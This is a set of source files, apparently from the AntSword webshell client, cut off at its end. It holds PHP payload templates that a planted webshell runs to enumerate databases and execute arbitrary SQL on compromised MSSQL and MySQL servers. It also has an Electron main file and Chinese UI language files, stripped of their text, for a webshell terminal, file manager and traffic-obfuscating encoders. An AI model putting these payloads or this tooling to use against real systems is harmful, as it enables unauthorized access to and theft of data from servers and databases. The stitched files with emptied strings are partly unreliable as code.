_: `
$hst=base64_decode("#{base64::host}");
$usr=base64_decode("#{base64::user}");
$pwd=base64_decode("#{base64::passwd}");
$dbn=base64_decode("#{base64::db}");
$tab=base64_decode("#{base64::table}");
$chs='utf-8';
$T=@sqlsrv_connect($hst,array("UID"=> $usr,"PWD"=>$pwd,"Database"=>$dbn,"CharacterSet"=>$chs));
$q=@sqlsrv_query($T,"select b.name,c.name,c.length from sysobjects a,syscolumns b,systypes c where a.id=b.id and b.xtype=c.xtype and a.name='{$tab}'",null);
while($rs=@sqlsrv_fetch_array($q,SQLSRV_FETCH_NUMERIC)){
echo(trim($rs[0])." ({$rs[1]}({$rs[2]}))".chr(9));
}
@sqlsrv_free_stmt($q);
@sqlsrv_close($T);`.replace(/\n\s+/g, ''),
},
// SQL
query: {
_: `
$hst=base64_decode("#{base64::host}");
$usr=base64_decode("#{base64::user}");
$pwd=base64_decode("#{base64::passwd}");
$dbn=base64_decode("#{base64::db}");
$sql=base64_decode("#{base64::sql}");
$chs=base64_decode("#{base64::encode}");
$chs=($chs=='utf-8'||$chs=='char')?$chs:'utf-8';
$T=@sqlsrv_connect($hst,array("UID"=> $usr,"PWD"=>$pwd,"Database"=>$dbn,"CharacterSet"=>$chs));
$q=@sqlsrv_query($T,$sql,null);
if($q!==false){
$i=0;
$fm=@sqlsrv_field_metadata($q);
if(empty($fm)){
$ar=@sqlsrv_rows_affected($q);
echo("Affect Rows\\t|\\t\\r\\n".base64_encode($ar)."\\t|\\t\\r\\n");
}else{
foreach($fm as $rs){
echo($rs['Name']."\\t|\\t");
$i++;
}
echo("\\r\\n");
while($rs=@sqlsrv_fetch_array($q,SQLSRV_FETCH_NUMERIC)){
for($c=0;$c<$i;$c++){
echo(base64_encode(trim($rs[$c])));
echo("\\t|\\t");
}
echo("\\r\\n");
}
}
@sqlsrv_free_stmt($q);
}else{
echo("Status\\t|\\t\\r\\n");
if(($e = sqlsrv_errors()) != null){
foreach($e as $v){
echo(base64_encode($e['message'])."\\t|\\t\\r\\n");
}
}else{
echo("RmFsc2U="."\\t|\\t\\r\\n");
}
}
@sqlsrv_close($T);`.replace(/\n\s+/g, ''),
}
})
``` | /content/code_sandbox/source/core/phpraw/template/database/sqlsrv.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 1,120 |
```javascript
//
// language::zh
//
module.exports = {
title: '',
toastr: {
info: '',
error: '',
warning: '',
success: ''
},
menubar: {
main: {
title: 'AntSword',
about: '',
pluginStore: '',
settings: '',
language: '',
encoders: '',
aproxy: '',
display: '',
update: '',
quit: ''
},
edit: {
title: '',
undo: '',
redo: '',
cut: '',
copy: '',
paste: '',
selectall: '',
search: ''
},
window: {
title: '',
next: '',
prev: '',
close: ''
},
debug: {
title: '',
restart: '',
devtools: ''
},
tray: {
tip: '',
show: '',
hide: '',
settings: '',
about: '',
quit: ''
}
},
shellmanager: {
title: '',
contextmenu: {
terminal: '',
filemanager: '',
database: '',
add: '',
edit: '',
delete: '',
move: '',
copy: '',
search: '',
plugin: '',
pluginDefault: '',
pluginStore: '',
clearCache: '',
clearAllCache: '',
viewsite: '',
copyurl: 'URL'
},
category: {
title: '',
default: '',
toolbar: {
add: '',
del: '',
rename: ''
},
add: {
title: ''
},
del: {
title: '',
confirm: '',
success: (category) => `${category}`,
error: (category, err) => `${category}\n${err}`
},
rename: {
title: '',
disable: '',
exists: '',
success: '',
error: ''
}
},
list: {
title: '',
not_recommended: '',
grid: {
url: 'URL',
ip: 'IP',
addr: '',
note: '',
ctime: '',
utime: ''
},
add: {
title: '',
toolbar: {
test: '',
add: '',
clear: ''
},
form: {
url: 'URL',
pwd: '',
note: '',
encode: '',
type: '',
encoder: ''
},
test_success: '!',
test_warning: '',
warning: '',
success: '',
error: (err) => `\n${err}`
},
edit: {
title: (url) => antSword.noxss(`${url}`),
toolbar: {
save: '',
clear: ''
},
form: {
url: 'URL',
pwd: '',
note: '',
encode: '',
type: '',
encoder: ''
},
warning: '',
success: '',
error: (err) => `\n${err}`
},
del: {
title: '',
confirm: (len) => antSword.noxss(`${len}`),
success: (len) => `${len}`,
error: (err) => `\n${err}`
},
move: {
success: (num) => `${num}`,
error: (err) => `\n${err}`
},
clearCache: {
title: '',
confirm: '',
success: '',
error: (err) => `\n${err}`
},
clearAllCache: {
title: '',
confirm: '',
success: '',
error: (err) => `\n${err}`
},
accordion: {
base: '',
http: '',
other: ''
},
otherConf: {
nohttps: 'HTTPS',
userawbody: 'Body RAW ',
userawbodyNotSupport: 'Shell RAW Body (RAW)',
usemultipart: ' Multipart ',
addMassData: '',
randomPrefix: '',
userandomvariable: '',
chunk: {
title: '()',
usechunk: '',
min: '',
max: '',
exphint: ', Multipart ,Chunked,30s,' +
''
},
terminalCache: '',
filemanagerCache: '',
uploadFragment: '',
requestTimeout: '',
commandPath: '',
customDatatag: {
title: '',
usecustomdatatag: '',
tags: '',
tage: '',
exphint: '',
valideq: ''
},
}
},
toolbar: {
select: 'WebShell',
setting: {
text: '',
pluginlist: '(8)',
title: '',
save: '',
clear: '',
error_max: '8'
}
}
},
terminal: {
title: '',
banner: {
title: '',
drive: '',
system: '',
user: '',
path: ''
},
ascmd: {
help: ' ashelp ',
ashelp: `:
asenv[Key=Value]\t\t, eg: asenv AAA=BBB
ascmd [file]\t\tfile, eg: ascmd /bin/bash
aslistcmd\t\t
aspowershell [on|off]\t\t/PowerShell, eg: aspowershell on
aswinmode [on|off]\t\t/Windows(), eg: aswinmode on
quit\t\t
exit\t\t
:
Ctrl =\t\t
Ctrl -\t\t
Ctrl L\t\t
Ctrl U\t\t
Ctrl A\t\t
Ctrl E\t\t
Ctrl F/B\t\t()
Ctrl P\t\t
Ctrl R\t\t
Ctrl D\t\t
Ctrl H\t\t
Ctrl W\t\t
Ctrl K\t\t
Ctrl T\t\t
`,
ascmd: (cmd) => antSword.noxss(` ${cmd} .`),
aspowershell: {
on: "Powershell",
off: "Powershell"
}
}
},
filemanager: {
title: '',
delete: {
title: '',
confirm: (num) => antSword.noxss(` ${typeof(num) === 'number'
? num + ' '
: num} `),
success: (path) => `\n${path}`,
error: (path, err) => ` [${path}] ${err
? '\n' + err
: ''}`
},
paste: {
success: (path) => `\n${path}`,
error: (path, err) => ` [${path}] ${err
? '\n' + err
: ''}`
},
rename: {
title: '',
success: '',
error: (err) => `${err
? '\n' + err
: ''}`
},
createFolder: {
title: '',
value: '',
success: (path) => `\n${path}`,
error: (path, err) => ` [${path}] ${err
? '\n' + err
: ''}`
},
createFile: {
title: '',
value: '.txt',
success: (path) => `\n${path}`,
error: (path, err) => ` [${path}] ${err
? '\n' + err
: ''}`
},
retime: {
title: '',
success: (path) => `\n${path}`,
error: (path, err) => ` [${path}] ${err
? '\n' + err
: ''}`
},
chmod: {
title: '',
check: ", eg: 0644",
success: (path) => `\n${path}`,
error: (path, err) => ` [${path}] ${err
? '\n' + err
: ''}`
},
wget: {
title: 'Wget',
check: 'URL',
task: {
name: 'WGET',
start: '..',
success: '',
failed: (ret) => `:${ret}`,
error: (err) => `:${err}`
}
},
upload: {
task: {
name: '',
success: '',
httperr_413: '',
httperr_etime: ',',
httperr_econnrefused: ',',
failed: (err) => `:${err}`,
error: (err) => `:${err}`
},
success: (path) => `\n${path}`,
error: (path, err) => ` [${path}] ${err}`
},
folder: {
title: ''
},
files: {
title: '',
bookmark: {
add: '',
del: '',
clear: ''
},
toolbar: {
new: '',
folder: '',
file: '',
wget: 'Wget',
upload: '',
up: '',
refresh: '',
home: '',
bookmark: '',
read: ''
},
prompt: {
add: {
title: '',
success: (path) => `\n${path}`
},
remove: {
title: '',
confirm: '',
success: ''
},
clear: {
title: '',
confirm: '',
success: ''
}
},
grid: {
header: {
name: '',
time: '',
size: '',
attr: ''
},
contextmenu: {
paste: {
title: '',
all: '',
clear: {
title: '',
info: ''
}
},
preview: '',
filehash: '',
edit: {
title: '',
openwindow: '',
opentab: ''
},
delete: '',
rename: '',
refresh: '',
wget: 'WGET',
upload: '',
download: '',
modify: '',
chmod: '',
copy: {
title: '',
copyname: '',
copypath: '',
copysuccess: '!',
copyfail: '!',
warning: (id) => `\n${id}`,
info: (id) => `\n${id}`
},
create: {
title: '',
folder: '',
file: ''
},
terminal: ''
}
}
},
editor: {
title: (path) => `: ${path}`,
toolbar: {
refresh: '',
save: '',
mode: '',
encode: ''
},
loadErr: (err) => `\n${err}`,
success: (path) => `\n${path}`,
error: (path, err) => ` [${path}] ${err}`
},
tasks: {
title: '',
grid: {
header: {
name: '',
desc: '',
status: '',
stime: '',
etime: ''
}
}
},
download: {
title: '',
task: {
name: '',
wait: '',
cancel: '',
start: '',
success: '',
error: (err) => `:${err}`
},
error: (name, err) => `[${name}]\n${err}`,
success: (name) => `[${name}]`
}
},
database: {
list: {
title: '',
add: '',
del: '',
edit: '',
check: '',
menu: {
add: '',
del: '',
edit: '',
adddb: '',
editdb: '',
deldb: '',
addtable: '',
edittable: '',
deltable: '',
showcreatetable: '',
desctable: '',
addcolumn: '',
editcolumn: '',
delcolumn: ''
}
},
query: {
title: 'SQL',
exec: '',
clear: '',
bookmark: {
title: '',
add: '',
del: '',
clear: ''
},
prompt: {
add: {
title: 'SQL',
success: (sql) => `!\nSQL: ${sql}`
},
remove: {
title: '',
confirm: '?',
success: ''
},
clear: {
title: '',
confirm: '?',
success: ''
}
}
},
result: {
title: '',
warning: '',
error: {
database: (err) => `\n${err}`,
table: (err) => `\n${err}`,
column: (err) => `\n${err}`,
query: (err) => `SQL\n${err}`,
parse: '',
noresult: ''
},
dump: {
title: "",
success: ""
}
},
notsupport: '',
form: {
title: '',
toolbar: {
add: '',
clear: '',
edit: '',
test: ''
},
conn: '',
type: '',
encode: '',
host: '',
user: '',
passwd: '',
warning: '',
success: '',
test_success: '!',
test_warning: '',
del: {
title: '',
confirm: '',
success: '',
error: (err) => `\n${err}`
},
adddb: {
title: '',
dbname: '',
characterset: '',
charactercollation: '',
createbtn: '',
cancelbtn: '',
success: '',
error: ''
},
editdb: {
title: '',
dbname: '()',
characterset: '',
charactercollation: '',
updatebtn: '',
cancelbtn: '',
success: '',
error: ''
},
deldb: {
title: '',
confirm: (name) => antSword.noxss(` ${name} ?`),
success: '',
error: ''
},
addtable: {
title: '',
add: '',
delete: '',
save: '',
gridheader: ",,,,,",
delete_not_select: "",
save_row_is_null: "",
cell_valid_error: (i, j) => `(${i + 1},${j + 1})`,
confirmtitle: "",
invalid_tablename: "",
success: '',
error: ''
},
edittable: {
title: "",
invalid_tablename: "",
success: '',
error: ''
},
deltable: {
title: '',
confirm: (name) => antSword.noxss(` ${name} ?`),
success: '',
error: ''
},
addcolumn: {},
editcolumn: {
title: "",
invalid_tablename: "",
get_column_type_error: "",
success: '',
error: ''
},
delcolumn: {
title: '',
confirm: (name) => antSword.noxss(` ${name} ?`),
success: '',
error: ''
}
},
probedb: {
title: '',
success: '',
coltype: '',
issupport: ''
}
},
settings: {
about: {
title: '',
header: '',
homepage: '',
document: '',
qqgroup: 'Q',
discord: '',
securityreport: '',
wechat: ''
},
language: {
title: '',
toolbar: {
save: ''
},
form: {
label: ''
},
success: '',
confirm: {
content: '',
title: ''
}
},
update: {
title: '',
current: '',
toolbar: {
check: ''
},
check: {
ing: '',
fail: (err) => `\n${err}`,
none: (ver) => `v${ver}`,
found: (ver) => `v${ver}`
},
prompt: {
btns: {
ok: '',
no: '',
changelog: ''
},
body: (ver) => ` v${ver}, ?`,
loader_body: (ver) => ` v${ver} ,, ?`,
title: '',
changelog: '',
sources: '',
fail: {
md5: 'MD5',
unzip: (err) => `${err}`
}
},
message: {
githint: (workdir) => `Git ${workdir} `,
prepare: "...",
dling: (progress) => `...${progress}%`,
dlingnp: (size) => `...${size}`,
dlend: "",
extract: ", ",
ing: '',
fail: (err) => `${err}`,
success: ''
}
},
encoders: {
title: '',
encoder: "",
decoder: "",
toolbar: {
new: "",
new_decoder: "",
edit: "",
delete: "",
help: "",
save: "",
rsa: "RSA",
more: "",
generate: ""
},
grid: {
ename: "",
etype: "Shell",
edtype: {
title: "",
encoder: "",
decoder: ""
}
},
form: {
public_key: "",
private_key: "",
php_code: "PHP "
},
rsa_config_win_title: "RSA",
edit_win_title: "",
delete_title: "",
message: {
ename_duplicate: "",
rename_success: "",
etype_error: "",
retype_success: "",
create_success: "",
edit_not_select: "",
edit_only_single: "",
edit_null_value: "",
edit_save_success: "",
delete_not_select: "",
delete_success: "",
ename_invalid: "",
rsa_save_success: " RSA ",
rsa_save_error: " RSA "
},
prompt: {
generate: '?',
create_encoder: ""
},
confirm: {
delete: (num) => antSword.noxss(` ${typeof(num) === 'number'
? num + ' '
: num + " "}`)
}
},
aproxy: {
title: '',
toolbar: {
save: '',
test: ''
},
form: {
label: '',
mode: {
noproxy: '',
manualproxy: ''
},
proxy: {
protocol: '',
server: '',
port: '',
username: '',
password: '',
authtip: ''
}
},
success: '',
error: '',
confirm: {
content: '',
title: ''
},
prompt: {
title: ' URL',
success: '',
error: ''
}
},
display: {
title: '',
success: '',
error: '',
confirm: {
content: '',
title: ''
},
toolbar: {
save: ''
},
form: {
shellmanager: {
title: '',
hiddencolumns: {
title: '',
url: 'URL',
ip: 'IP',
addr: '',
note: '',
ctime: '',
utime: ''
}
}
}
},
adefault: {
title: '',
success: '',
error: '',
confirm: {
content: '',
title: ''
},
toolbar: {
save: ''
},
filemanager: {
title: '',
openfileintab: {
title: '',
window: '',
tab: ''
},
bookmark: {
title: '',
nodata: ', ',
grid: {
name: '',
path: ''
},
bmenu: {
add: '',
del: ''
},
add: {
title: '',
success: '',
namedup: '',
name_invalid: '',
addbtn: ''
},
del: {
title: '',
confirm: (num) => antSword.noxss(` ${typeof(num) === 'number'
? num + ' '
: num + " "}`),
success: ''
},
edit: {
namedup: '',
name_invalid: '',
success: ''
}
}
},
database: {
title: '',
bookmark: {
title: '',
nodata: ', ',
grid: {
name: '',
path: 'SQL'
},
bmenu: {
add: '',
del: ''
},
add: {
title: 'SQL',
success: '',
namedup: '',
name_invalid: '',
addbtn: ''
},
del: {
title: '',
confirm: (num) => antSword.noxss(` ${typeof(num) === 'number'
? num + ' '
: num + " "}`),
success: ''
},
edit: {
namedup: '',
name_invalid: '',
success: ''
}
}
},
shellmanager: {
title: '',
header: {
title: '',
nodata: ', ',
grid: {
name: '',
value: ''
},
bmenu: {
add: '',
del: ''
},
add: {
title: '',
success: '',
namedup: '',
name_invalid: '',
addbtn: ''
},
del: {
title: '',
confirm: (num) => antSword.noxss(` ${typeof(num) === 'number'
? num + ' '
: num + " "}`),
success: ''
},
edit: {
namedup: '',
name_invalid: '',
success: ''
}
},
body: {
title: ' Body',
nodata: 'Body, ',
grid: {
name: '',
value: ''
},
bmenu: {
add: 'Body',
del: 'Body'
},
add: {
title: 'Body',
success: '',
namedup: '',
name_invalid: '',
addbtn: ''
},
del: {
title: 'Body',
confirm: (num) => antSword.noxss(` ${typeof(num) === 'number'
? num + ' Body'
: num + " "}`),
success: ''
},
edit: {
namedup: '',
name_invalid: '',
success: ''
}
},
other: {
nohttps: 'HTTPS',
userandomvariable: '',
requestTimeout: ''
}
},
terminal: {
title: '',
size: ''
}
}
},
plugin: {
error: (err) => `\n${err}`
},
update: {
title: '',
body: (ver) => `${ver}, `
},
viewsite: {
toolbar: {
useproxy: (s) => `: ${s
? ''
: ''}`,
save: '',
view: ''
},
saveSuccess: 'Cookie',
saveFailed: (err) => `Cookie\n${err}`
}
}
``` | /content/code_sandbox/source/language/zh_hk.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 4,911 |
```javascript
/**
* ::
* 2016/05/02
* <path_to_url
*/
'use strict';
const path = require('path');
const electron = require('electron');
const {
app,
shell,
protocol,
BrowserWindow
} = require('electron');
// scheme, web storage apis (localStorage, sessionStorage, webSQL,
// indexedDB, cookies) schemes
protocol.registerStandardSchemes(['ant-views', 'ant-static', 'ant-src']);
app.once('ready', () => {
/**
* protocol
* - ant-static://libs/jquery.jquery.js
*/
[
[
'static', '/static/', 13
],
[
'views', '/views/', 12
], //- ant-viewsviews
['src', '/source/', 10] //- ant-srcsource
].map((_) => {
protocol.registerFileProtocol(`ant-${_[0]}`, (req, cb) => {
if (req.url.endsWith('/')) {
req.url = req
.url
.substr(0, req.url.length - 1);
}
cb({
path: path.normalize(path.join(__dirname, _[1], req.url.substr(_[2])))
});
});
});
//
let mainWindow = new BrowserWindow({
width: 1040,
height: 699,
minWidth: 888,
minHeight: 555,
title: 'AntSword',
webPreferences: {
webgl: false,
javascript: true,
nodeIntegration: true, // nodejs
// contextIsolation: false, // webSecurity: false,
// allowRunningInsecureContent: true, sandbox: false,
}
});
// views
mainWindow.loadURL('ant-views://front/index.html');
// UI
const reloadUI = mainWindow
.webContents
.send
.bind(mainWindow.webContents, 'reloadui', true);
//
mainWindow.on('close', (event) => {
event.preventDefault();
// app.exit(0);
if (process.platform == 'darwin') {
// app.hide();
app.exit(0);
} else if (process.platform == 'linux') {
return;
} else {
mainWindow.hide();
}
}).on('minimize', (event) => {
event.preventDefault();
})
.on('resize', reloadUI)
.on('maximize', reloadUI)
.on('unmaximize', reloadUI)
.on('enter-full-screen', reloadUI)
.on('leave-full-screen', reloadUI);
mainWindow.webContents.on('new-window', (event, url) => {
event.preventDefault();
shell.openExternal(url);
});
// mainWindow.webContents.openDevTools();
electron.Logger = require('./modules/logger')(mainWindow);
//
[
'menubar',
'request',
'database',
'cache',
'update',
'plugStore'
].map((_) => {
new(require(`./modules/${_}`))(electron, app, mainWindow);
});
});
``` | /content/code_sandbox/app.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 671 |
```javascript
/**
* ::mysql
* i => \t|\t
*/
module.exports = (arg1, arg2, arg3, arg4, arg5, arg6) => ({
//
show_databases: {
_: `
$hst=base64_decode("#{base64::host}");
$usr=base64_decode("#{base64::user}");
$pwd=base64_decode("#{base64::passwd}");
list($hst, $port) = explode(":", $hst);
$port == "" ? $port = "3306" : $port;
$T=@mysqli_connect($hst,$usr,$pwd,"",$port);
$q=@mysqli_query($T,"SHOW DATABASES");
while($rs=@mysqli_fetch_row($q)){
echo(trim($rs[0]).chr(9));
}
@mysqli_close($T);`.replace(/\n\s+/g, ''),
},
//
show_tables: {
_: `
$hst=base64_decode("#{base64::host}");
$usr=base64_decode("#{base64::user}");
$pwd=base64_decode("#{base64::passwd}");
$dbn=base64_decode("#{base64::db}");
list($hst, $port) = explode(":", $hst);
$port == "" ? $port = "3306" : $port;
$T=@mysqli_connect($hst,$usr,$pwd,"",$port);
$q=@mysqli_query($T, "SHOW TABLES FROM \`{$dbn}\`");
while($rs=@mysqli_fetch_row($q)){
echo(trim($rs[0]).chr(9));
}
@mysqli_close($T);`.replace(/\n\s+/g, ''),
},
//
show_columns: {
_: `
$hst=base64_decode("#{base64::host}");
$usr=base64_decode("#{base64::user}");
$pwd=base64_decode("#{base64::passwd}");
$dbn=base64_decode("#{base64::db}");
$tab=base64_decode("#{base64::table}");
list($hst, $port) = explode(":", $hst);
$port == "" ? $port = "3306" : $port;
$T=@mysqli_connect($hst,$usr,$pwd,"",$port);
@mysqli_select_db($T, $dbn);
$q=@mysqli_query($T, "SHOW COLUMNS FROM \`{$tab}\`");
while($rs=@mysqli_fetch_row($q)){
echo(trim($rs[0])." (".$rs[1].")".chr(9));
}
@mysqli_close($T);`.replace(/\n\s+/g, ''),
},
// SQL
query: {
_: `
$hst=base64_decode("#{base64::host}");
$usr=base64_decode("#{base64::user}");
$pwd=base64_decode("#{base64::passwd}");
$dbn=base64_decode("#{base64::db}");
$sql=base64_decode("#{base64::sql}");
list($hst, $port) = explode(":", $hst);
$port == "" ? $port = "3306" : $port;
$T=@mysqli_connect($hst,$usr,$pwd,"",$port);
@mysqli_query($T,"SET NAMES ".base64_decode("#{base64::encode}"));
@mysqli_select_db($T,$dbn);
$q=@mysqli_query($T,$sql);
if(is_bool($q)){
echo("Status\\t|\\t\\r\\n".($q?"VHJ1ZQ==":"RmFsc2U=")."\\t|\\t\\r\\n");
}else{
$i=0;
while($col=@mysqli_fetch_field($q)){echo($col->name."\t|\t");
$i++;
}
echo("\\r\\n");
while($rs=@mysqli_fetch_row($q)){
for($c=0;$c<$i;$c++){
echo(base64_encode(trim($rs[$c])));
echo("\\t|\\t");
}
echo("\\r\\n");
}
}
@mysqli_close($T);`.replace(/\n\s+/g, ''),
}
})
``` | /content/code_sandbox/source/core/phpraw/template/database/mysqli.js | javascript | 2016-03-11T09:28:00 | 2024-08-16T17:55:54 | antSword | AntSwordProject/antSword | 3,579 | 932 |
```javascript
//
// language::zh
//
module.exports = {
title: '',
toastr: {
info: '',
error: '',
warning: '',
success: ''
},
menubar: {
main: {
title: 'AntSword',
about: '',
pluginStore: '',
settings: '',
language: '',
encoders: '',
aproxy: '',
display: '',
update: '',
quit: ''
},
edit: {
title: '',
undo: '',
redo: '',
cut: '',
copy: '',
paste: '',
selectall: '',
search: ''
},
window: {
title: '',
next: '',
prev: '',
close: ''
},
debug: {
title: '',
restart: '',
devtools: ''
},
tray: {
tip: '',
show: '',
hide: '',
settings: '',
about: '',
quit: ''
}
},
shellmanager: {
title: '',
contextmenu: {
terminal: '',
filemanager: '',
database: '',
add: '',
edit: '',
delete: '',
move: '',
copy: '',
search: '',
plugin: '',
pluginDefault: '',
pluginStore: '',
clearCache: '',
clearAllCache: '',
viewsite: '',
copyurl: 'URL'
},
category: {
title: '',
default: '',
toolbar: {
add: '',
del: '',
rename: ''
},
add: {
title: ''
},
del: {
title: '',
confirm: '',
success: (category) => `${category}`,
error: (category, err) => `${category}\n${err}`
},
rename: {
title: '',
disable: '',
exists: '',
success: '',
error: ''
}
},
list: {
title: '',
not_recommended: '',
grid: {
url: 'URL',
ip: 'IP',
addr: '',
note: '',
ctime: '',
utime: ''
},
add: {
title: '',
toolbar: {
test: '',
add: '',
clear: ''
},
form: {
url: 'URL',
pwd: '',
note: '',
encode: '',
type: '',
encoder: ''
},
test_success: '!',
test_warning: '',
warning: '',
success: '',
error: (err) => `\n${err}`
},
edit: {
title: (url) => antSword.noxss(`${url}`),
toolbar: {
save: '',
clear: ''
},
form: {
url: 'URL',
pwd: '',
note: '',
encode: '',
type: '',
encoder: ''
},
warning: '',
success: '',
error: (err) => `\n${err}`
},
del: {
title: '',
confirm: (len) => antSword.noxss(`${len}`),
success: (len) => `${len}`,
error: (err) => `\n${err}`
},
move: {
success: (num) => `${num}`,
error: (err) => `\n${err}`
},
clearCache: {
title: '',
confirm: '',
success: '',
error: (err) => `\n${err}`
},
clearAllCache: {
title: '',
confirm: '',
success: '',
error: (err) => `\n${err}`
},
accordion: {
base: '',
http: '',
other: ''
},
otherConf: {
nohttps: 'HTTPS',
userawbody: 'Body RAW ',
userawbodyNotSupport: 'Shell RAW Body (RAW)',
usemultipart: ' Multipart ',
addMassData: '',
randomPrefix: '',
userandomvariable: '',
chunk: {
title: '()',
usechunk: '',
min: '',
max: '',
exphint: ', Multipart ,Chunked,30s,' +
''
},
terminalCache: '',
filemanagerCache: '',
uploadFragment: '',
requestTimeout: '',
commandPath: '',
customDatatag: {
title: '',
usecustomdatatag: '',
tags: '',
tage: '',
exphint: '',
valideq: ''
},
}
},
toolbar: {
select: 'WebShell',
setting: {
text: '',
pluginlist: '(8)',
title: '',
save: '',
clear: '',
error_max: '8'
}
}
},
terminal: {
title: '',
banner: {
title: '',
drive: '',
system: '',
user: '',
path: ''
},
ascmd: {
help: ' ashelp ',
ashelp: `:
asenv[Key=Value]\t\t, eg: asenv AAA=BBB
ascmd [file]\t\tfile, eg: ascmd /bin/bash
aslistcmd\t\t
aspowershell [on|off]\t\t/PowerShell, eg: aspowershell on
aswinmode [on|off]\t\t/Windows(), eg: aswinmode on
quit\t\t
exit\t\t
:
Ctrl =\t\t
Ctrl -\t\t
Ctrl L\t\t
Ctrl U\t\t
Ctrl A\t\t
Ctrl E\t\t
Ctrl F/B\t\t()
Ctrl P\t\t
Ctrl R\t\t
Ctrl D\t\t
Ctrl H\t\t
Ctrl W\t\t
Ctrl K\t\t
Ctrl T\t\t
`,
ascmd: (cmd) => antSword.noxss(` ${cmd} .`),
aspowershell: {
on: "Powershell",
off: "Powershell"
}
}
},
filemanager: {
title: '',
delete: {
title: '',
confirm: (num) => antSword.noxss(` ${typeof(num) === 'number'
? num + ' '
: num} `),
success: (path) => `\n${path}`,
error: (path, err) => ` [${path}] ${err
? '\n' + err
: ''}`
},
paste: {
success: (path) => `\n${path}`,
error: (path, err) => ` [${path}] ${err
? '\n' + err
: ''}`
},
rename: {
title: '',
success: '',
error: (err) => `${err
? '\n' + err
: ''}`
},
createFolder: {
title: '',
value: '',
success: (path) => `\n${path}`,
error: (path, err) => ` [${path}] ${err
? '\n' + err
: ''}`
},
createFile: {
title: '',
value: '.txt',
success: (path) => `\n${path}`,
error: (path, err) => ` [${path}] ${err
? '\n' + err
: ''}`
},
retime: {
title: '',
success: (path) => `\n${path}`,
error: (path, err) => ` [${path}] ${err
? '\n' + err
: ''}`
},
chmod: {
title: '',
check: ", eg: 0644",
success: (path) => `\n${path}`,
error: (path, err) => ` [${path}] ${err
? '\n' + err
: ''}`
},
wget: {
title: 'Wget',
check: 'URL',
task: {
name: 'WGET',
start: '..',
success: '',
failed: (ret) => `:${ret}`,
error: (err) => `:${err}`
}
},
upload: {
task: {
name: '',
success: '',
httperr_413: '',
httperr_etime: ',',
httperr_econnrefused: ',',
failed: (err) => `:${err}`,
error: (err) => `:${err}`
},
success: (path) => `\n${path}`,
error: (path, err) => ` [${path}] ${err}`
},
folder: {
title: ''
},
files: {
title: '',
bookmark: {
add: '',
del: '',
clear: ''
},
toolbar: {
new: '',
folder: '',
file: '',
wget: 'Wget',
upload: '',
up: '',
refresh: '',
home: '',
bookmark: '',
read: ''
},
prompt: {
add: {
title: '',
success: (path) => `\n${path}`
},
remove: {
title: '',
confirm: '',
success: ''
},
clear: {
title: '',
confirm: '',
success: ''
}
},
grid: {
header: {
name: '',
time: '',
size: '',
attr: ''
},
contextmenu: {
paste: {
title: '',
all: '',
clear: {
title: '',
info: ''
}
},
preview: '',
filehash: '',
edit: {
title: '',
openwindow: '',
opentab: ''
},
delete: '',
rename: '',
refresh: '',
wget: 'WGET',
upload: '',
download: '',
modify: '',
chmod: '',
copy: {
title: '',
copyname: '',
copypath: '',
copysuccess: '!',
copyfail: '!',
warning: (id) => `\n${id}`,
info: (id) => `\n${id}`
},
create: {
title: '',
folder: '',
file: ''
},
terminal: ''
}
}
},
editor: {
title: (path) => `: ${path}`,
toolbar: {
refresh: '',
save: '',
mode: '',
encode: ''
},
loadErr: (err) => `\n${err}`,
success: (path) => `\n${path}`,
error: (path, err) => ` [${path}] ${err}`
},
tasks: {
title: '',
grid: {
header: {
name: '',
desc: '',
status: '',
stime: '',
etime: ''
}
}
},
download: {
title: '',
task: {
name: '',
wait: '',
cancel: '',
start: '',
success: '',
error: (err) => `:${err}`
},
error: (name, err) => `[${name}]\n${err}`,
success: (name) => `[${name}]`
}
},
database: {
list: {
title: '',
add: '',
del: '',
edit: '',
check: '',
menu: {
add: '',
del: '',
edit: '',
adddb: '',
editdb: '',
deldb: '',
addtable: '',
edittable: '',
deltable: '',
showcreatetable: '',
desctable: '',
addcolumn: '',
editcolumn: '',
delcolumn: ''
}
},
query: {
title: 'SQL',
exec: '',
clear: '',
bookmark: {
title: '',
add: '',
del: '',
clear: ''
},
prompt: {
add: {
title: 'SQL',
success: (sql) => `!\nSQL: ${sql}`
},
remove: {
title: '',
confirm: '?',
success: ''
},
clear: {
title: '',
confirm: '?',
success: ''
}
}
},
result: {
title: '',
warning: '',
error: {
database: (err) => `\n${err}`,
table: (err) => `\n${err}`,
column: (err) => `\n${err}`,
query: (err) => `SQL\n${err}`,
parse: '',
noresult: ''
},
dump: {
title: "",
success: ""
}
},
notsupport: '',
form: {
title: '',
toolbar: {
add: '',
clear: '',
edit: '',
test: ''
},
conn: '',
type: '',
encode: '',
host: '',
user: '',
passwd: '',
warning: '',
success: '',
test_success: '!',
test_warning: '',
del: {
title: '',
confirm: '',
success: '',
error: (err) => `\n${err}`
},
adddb: {
title: '',
dbname: '',
characterset: '',
charactercollation: '',
createbtn: '',
cancelbtn: '',
success: '',
error: ''
},
editdb: {
title: '',
dbname: '()',
characterset: '',
charactercollation: '',
updatebtn: '',
cancelbtn: '',
success: '',
error: ''
},
deldb: {
title: '',
confirm: (name) => antSword.noxss(` ${name} ?`),
success: '',
error: ''
},
addtable: {
title: '',
add: '',
delete: '',
save: '',
gridheader: ",,,,,",
delete_not_select: "",
save_row_is_null: "",
cell_valid_error: (i, j) => `(${i + 1},${j + 1})`,
confirmtitle: "",
invalid_tablename: "",
success: '',
error: ''
},
edittable: {
title: "",
invalid_tablename: "",
success: '',
error: ''
},
deltable: {
title: '',
confirm: (name) => antSword.noxss(` ${name} ?`),
success: '',
error: ''
},
addcolumn: {},
editcolumn: {
title: "",
invalid_tablename: "",
get_column_type_error: "",
success: '',
error: ''
},
delcolumn: {
title: '',
confirm: (name) => antSword.noxss(` ${name} ?`),
success: '',
error: ''
}
},
probedb: {
title: '',
success: '',
coltype: '',
issupport: ''
}
},
settings: {
about: {
title: '',
header: '',
homepage: '',
document: '',
qqgroup: 'Q',
discord: '',
securityreport: '',
wechat: ''
},
language: {
title: '',
toolbar: {
save: ''
},
form: {
label: ''
},
success: '',
confirm: {
content: '',
title: ''
}
},
update: {
title: '',
current: '',
toolbar: {
check: ''
},
check: {
ing: '',
fail: (err) => `\n${err}`,
none: (ver) => `v${ver}`,
found: (ver) => `v${ver}`
